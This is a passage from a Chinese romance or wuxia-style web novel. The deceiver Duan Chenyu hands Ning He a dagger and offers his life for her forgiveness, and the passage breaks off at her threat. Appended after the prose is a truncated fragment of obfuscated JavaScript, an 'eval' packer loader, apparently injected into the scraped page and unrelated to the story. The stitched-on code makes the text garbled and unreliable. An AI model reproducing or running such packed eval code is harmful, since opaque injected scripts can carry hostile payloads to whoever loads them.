沉玉,从牙缝里挤出一句话:“我凭什么相信你?就凭你这张来历不明的嘴?”
段沉玉苦笑:“我知我欺骗你在先,百口莫辩。最初接近你,确只存了利用之心。可人非草木,这一路同行,生死与共,宁娘子,我对你……焉能没有半分真情?”
雨水顺着窗沿淌下,在室内投下晃动的水光,映得他脸上明暗不定。
他神情哀伤,声音低沉下去,带着恳求的意味:“我知求得你原谅是厚颜无耻、痴人说梦,只是玉还是想恳请娘子能给玉一个悔过补偿的机会。”
“悔过?补偿?”宁禾简直要被气笑了,“你个一无所有的逃犯,拿什么悔?用什么偿?”
段沉玉笑容苦涩,神情带着近乎绝望的坦然:“我如今身无长物,除了这条命,这具肉身。”
他垂下眼,拾起了身前的匕首。
冷白修长的手握着漆黑的刀柄,银光泠泠的匕身翻转,映出少年黑玉般的眼。
他抬起眼帘,眸中泛着水光,在宁禾痛恨冰冷的目光中,温热的手掌覆上了她紧握的拳,轻轻掰开她的手指,将匕首的柄端,稳稳放入她掌心。
段沉玉坐正了身子,目光沉静清凌,定定注视着宁禾,“玉这条命是娘子救下的,若你心中恨意难消……”
他微微扬唇,眸光却死寂悲戚,徐徐吐出一句话来:“那便由你亲手取回罢。反正……复仇之事,如今看来也已是镜花水月,无望了。”
最后三个字轻飘飘的,夹杂着叹息。
宁禾微怔,低头看向掌心的匕首。
冷芒如霜,是削铁如泥的利刃。
她抬眼,看着段沉玉黑暗中苍白脆弱的脸,心头怒火与一种难以言喻的酸楚齐齐涌上来。
她握着那柄匕首,尖锋指向他,咬牙恨声:“段兰卿,你当真以为我不会杀你吗?!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){re